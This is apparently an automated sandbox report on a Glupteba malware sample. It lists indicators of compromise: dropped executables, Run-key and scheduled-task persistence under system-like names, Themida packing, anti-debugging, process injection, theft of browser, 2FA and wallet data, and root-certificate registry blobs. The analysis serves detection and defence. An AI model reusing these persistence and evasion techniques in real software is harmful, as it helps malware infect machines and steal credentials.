glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

Processes:

1rc78H_vKfQteZwZ49pfaCtO.exeVTGU0ajEwmUUi0d_X7aRCSVv.exeql8kErLtdJtMYazDIjXD73Qa.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1rc78H_vKfQteZwZ49pfaCtO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1rc78H_vKfQteZwZ49pfaCtO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VTGU0ajEwmUUi0d_X7aRCSVv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VTGU0ajEwmUUi0d_X7aRCSVv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ql8kErLtdJtMYazDIjXD73Qa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ql8kErLtdJtMYazDIjXD73Qa.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Setup (16).exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\International\Geo\Nation	Setup (16).exe

Loads dropped DLL 61 IoCs

Processes:

Setup (16).exeEykaANb__Apcod7Ks5ARJo1w.exezfcNcev0sctvRCTh9vCplsB7.exemvWL8je5yu1dQeHCggvwKKXr.exe44it3_f9rjPnDsg73rzaxrqr.exe1711777.exe44it3_f9rjPnDsg73rzaxrqr.exemvWL8je5yu1dQeHCggvwKKXr.tmpWerFault.exePING.EXE7Jf0NIqkSK6k71gmKLgTDu19.exejooyu.exerundll32.exe

pid	process
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
2012	EykaANb__Apcod7Ks5ARJo1w.exe
1408	zfcNcev0sctvRCTh9vCplsB7.exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1104	Setup (16).exe
1488	mvWL8je5yu1dQeHCggvwKKXr.exe
2812	44it3_f9rjPnDsg73rzaxrqr.exe
2696	1711777.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2512	mvWL8je5yu1dQeHCggvwKKXr.tmp
2512	mvWL8je5yu1dQeHCggvwKKXr.tmp
2512	mvWL8je5yu1dQeHCggvwKKXr.tmp
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1596	PING.EXE
2100	7Jf0NIqkSK6k71gmKLgTDu19.exe
2100	7Jf0NIqkSK6k71gmKLgTDu19.exe
2100	7Jf0NIqkSK6k71gmKLgTDu19.exe
2100	7Jf0NIqkSK6k71gmKLgTDu19.exe
2100	7Jf0NIqkSK6k71gmKLgTDu19.exe
2976	jooyu.exe
2976	jooyu.exe
2976	jooyu.exe
2976	jooyu.exe
2828	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 11 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\Documents\VTGU0ajEwmUUi0d_X7aRCSVv.exe	themida
\Users\Admin\Documents\1rc78H_vKfQteZwZ49pfaCtO.exe	themida
C:\Users\Admin\Documents\1rc78H_vKfQteZwZ49pfaCtO.exe	themida
C:\Users\Admin\Documents\VTGU0ajEwmUUi0d_X7aRCSVv.exe	themida
\Users\Admin\Documents\ql8kErLtdJtMYazDIjXD73Qa.exe	themida
C:\Users\Admin\Documents\ql8kErLtdJtMYazDIjXD73Qa.exe	themida
\Users\Admin\Documents\zIbOzMNYwr_r25_c8JqqIZf5.exe	themida
C:\Users\Admin\Documents\zIbOzMNYwr_r25_c8JqqIZf5.exe	themida
behavioral15/memory/1440-226-0x0000000001240000-0x0000000001241000-memory.dmp	themida
behavioral15/memory/1940-237-0x0000000000020000-0x0000000000021000-memory.dmp	themida
behavioral15/memory/2116-241-0x0000000000150000-0x0000000000151000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

EykaANb__Apcod7Ks5ARJo1w.exe1711777.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "\"C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\dwm.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Users\\Public\\Videos\\Sample Videos\\services.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Windows\\Temp\\Crashpad\\reports\\dllhost.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\44it3_f9rjPnDsg73rzaxrqr = "\"C:\\PerfLogs\\Admin\\44it3_f9rjPnDsg73rzaxrqr.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Setup (16) = "\"C:\\Windows\\ehome\\Setup (16).exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Documents and Settings\\sppsvc.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "\"C:\\Windows\\System32\\es\\dwm.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\Google\\Chrome\\Application\\SetupMetrics\\csrss.exe\""	EykaANb__Apcod7Ks5ARJo1w.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1711777.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

VTGU0ajEwmUUi0d_X7aRCSVv.exeql8kErLtdJtMYazDIjXD73Qa.exezIbOzMNYwr_r25_c8JqqIZf5.exe1rc78H_vKfQteZwZ49pfaCtO.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VTGU0ajEwmUUi0d_X7aRCSVv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ql8kErLtdJtMYazDIjXD73Qa.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	zIbOzMNYwr_r25_c8JqqIZf5.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1rc78H_vKfQteZwZ49pfaCtO.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
197	ipinfo.io
223	ipinfo.io
232	ipinfo.io
397	ipinfo.io
392	ipinfo.io
395	ipinfo.io
18	ipinfo.io
19	ipinfo.io
182	ip-api.com
195	ipinfo.io
220	ipinfo.io
258	ipinfo.io
454	ipinfo.io

Drops file in System32 directory 2 IoCs

Processes:

EykaANb__Apcod7Ks5ARJo1w.exe

description	ioc	process
File created	C:\Windows\System32\es\dwm.exe	EykaANb__Apcod7Ks5ARJo1w.exe
File created	C:\Windows\System32\es\6cb0b6c459d5d3455a3da700e713f2e2529862ff	EykaANb__Apcod7Ks5ARJo1w.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

VTGU0ajEwmUUi0d_X7aRCSVv.exeql8kErLtdJtMYazDIjXD73Qa.exezIbOzMNYwr_r25_c8JqqIZf5.exe1rc78H_vKfQteZwZ49pfaCtO.exe

pid process

1440 VTGU0ajEwmUUi0d_X7aRCSVv.exe
1940 ql8kErLtdJtMYazDIjXD73Qa.exe
2116 zIbOzMNYwr_r25_c8JqqIZf5.exe
1576 1rc78H_vKfQteZwZ49pfaCtO.exe

pid	process
1440	VTGU0ajEwmUUi0d_X7aRCSVv.exe
1940	ql8kErLtdJtMYazDIjXD73Qa.exe
2116	zIbOzMNYwr_r25_c8JqqIZf5.exe
1576	1rc78H_vKfQteZwZ49pfaCtO.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

R79swvhA1TwtQx53BegdLdP5.exeeSBkvaUl7sRtA7Qh7Ne91x8D.exeaon9rPvmwx5iJQ45kjJzixck.exez_KYDTg8KsWKA12TwNaeWp0X.exe

description	pid	process	target process
PID 1716 set thread context of 2620	1716	R79swvhA1TwtQx53BegdLdP5.exe	R79swvhA1TwtQx53BegdLdP5.exe
PID 1512 set thread context of 2240	1512	eSBkvaUl7sRtA7Qh7Ne91x8D.exe	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
PID 860 set thread context of 2988	860	aon9rPvmwx5iJQ45kjJzixck.exe	pIdWMKgTEJiWNYD6XkDHxj8P.exe
PID 2028 set thread context of 2336	2028	z_KYDTg8KsWKA12TwNaeWp0X.exe	z_KYDTg8KsWKA12TwNaeWp0X.exe

Drops file in Program Files directory 7 IoCs

Processes:

7Jf0NIqkSK6k71gmKLgTDu19.exeEykaANb__Apcod7Ks5ARJo1w.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	7Jf0NIqkSK6k71gmKLgTDu19.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	7Jf0NIqkSK6k71gmKLgTDu19.exe
File created	C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\dwm.exe	EykaANb__Apcod7Ks5ARJo1w.exe
File created	C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\6cb0b6c459d5d3455a3da700e713f2e2529862ff	EykaANb__Apcod7Ks5ARJo1w.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	7Jf0NIqkSK6k71gmKLgTDu19.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	7Jf0NIqkSK6k71gmKLgTDu19.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	7Jf0NIqkSK6k71gmKLgTDu19.exe

Drops file in Windows directory 2 IoCs

Processes:

EykaANb__Apcod7Ks5ARJo1w.exe

description	ioc	process
File created	C:\Windows\ehome\Setup (16).exe	EykaANb__Apcod7Ks5ARJo1w.exe
File created	C:\Windows\ehome\2cf11200d56a9d440f0dd62da485fcf440ad6bd3	EykaANb__Apcod7Ks5ARJo1w.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1788	2564	WerFault.exe	8980020.exe
1668	2524	WerFault.exe	6810979.exe
3720	2628	WerFault.exe	ssqq.exe
4496	3488	WerFault.exe	2805390.exe
3100	3340	WerFault.exe	4620195.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

44it3_f9rjPnDsg73rzaxrqr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	44it3_f9rjPnDsg73rzaxrqr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	44it3_f9rjPnDsg73rzaxrqr.exe

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2504	schtasks.exe
2536	schtasks.exe
3844	schtasks.exe
996	schtasks.exe
2032	schtasks.exe
3412	schtasks.exe
2544	schtasks.exe
2572	schtasks.exe
2600	schtasks.exe
3220	schtasks.exe
2552	schtasks.exe
2584	schtasks.exe
3872	schtasks.exe
3972	schtasks.exe
2608	schtasks.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

1972 timeout.exe
4140 timeout.exe
3044 timeout.exe

pid	process
1972	timeout.exe
4140	timeout.exe
3044	timeout.exe

Kills process with taskkill 9 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2420	taskkill.exe
2660	taskkill.exe
2516	taskkill.exe
3904	taskkill.exe
1824	taskkill.exe
2560	taskkill.exe
4528	taskkill.exe
4644	taskkill.exe
4752	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

Processes:

mshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 15 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

8980020.exemd8_8eus.exeSetup (16).exemvWL8je5yu1dQeHCggvwKKXr.tmp

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	8980020.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	md8_8eus.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	Setup (16).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (16).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	mvWL8je5yu1dQeHCggvwKKXr.tmp
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	mvWL8je5yu1dQeHCggvwKKXr.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Setup (16).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Setup (16).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	8980020.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb1